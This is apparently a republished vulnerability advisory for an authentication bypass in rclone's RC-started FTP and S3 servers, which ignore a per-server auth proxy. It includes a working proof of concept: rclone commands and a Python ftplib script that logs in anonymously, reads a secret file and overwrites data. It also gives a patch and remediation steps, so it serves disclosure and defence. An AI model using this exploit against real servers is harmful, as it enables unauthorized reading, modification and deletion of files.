Listen to this Post
The rclone `serve/start` RC endpoint accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse this object and pass it to their respective server constructors. However, the constructors determine whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` variable instead of the supplied proxyOpt.AuthProxy. When the process-global option is empty—which is the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. For FTP, the server falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. For S3, the server falls back to the fixed filesystem; when combined with an auth_key, any holder of that key reaches the fixed RC filesystem instead of the backend selected by the auth proxy. The S3 no-auth_key mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled. Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.
DailyCVE Form:
Platform: Rclone
Version: v1.70.0-v1.75.0
Vulnerability: Auth bypass
Severity: Critical
date: 2026
Prediction: 2026-04-15
What Undercode Say:
mkdir -p /tmp/rclone-rc-root
printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt
cat > /tmp/deny-rclone-proxy.sh <<'EOF'
!/bin/sh
printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked
cat >/dev/null
exit 1
EOF
chmod 700 /tmp/deny-rclone-proxy.sh
./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth
./rclone rc --url http://127.0.0.1:5572 serve/start type=ftp fs=/tmp/rclone-rc-root proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'
import ftplib, io
ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("anonymous", "arbitrary-password")
data = bytearray()
ftp.retrbinary("RETR secret.txt", data.extend)
print(data.decode().strip())
ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()
// Current FTP and S3 pattern
if proxy.Opt.AuthProxy != "" {
serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)
} else {
// Fail-open fixed-backend mode
}
Exploit: (Educational Purposes!)
1. Start rclone RC daemon on loopback.
- Configure FTP server with per-server auth proxy that rejects all logins.
3. Connect using anonymous credentials with arbitrary password.
- Read, write, and delete files in the fixed filesystem.
5. The rejecting auth proxy is never invoked.
Protection: from this CVE
if proxyOpt != nil && proxyOpt.AuthProxy != "" {
d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)
} else {
d.globalVFS = vfs.New(ctx, f, vfsOpt)
}
Validate nil or empty proxy command before constructing proxy mode. Make S3 anonymous access log conditional on absence of both `AuthKey` and active auth proxy. Add RC integration tests for FTP and S3 with empty global `proxy.Opt.AuthProxy` and non-empty nested proxyOpt.AuthProxy. Audit other `serve.AddRc` implementations for the same pattern.
Impact:
For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start. This is a complete authentication bypass. For RC-started S3 servers combining `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. Exploitation requires an operator to use the documented per-server proxy option and expose the resulting listener.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
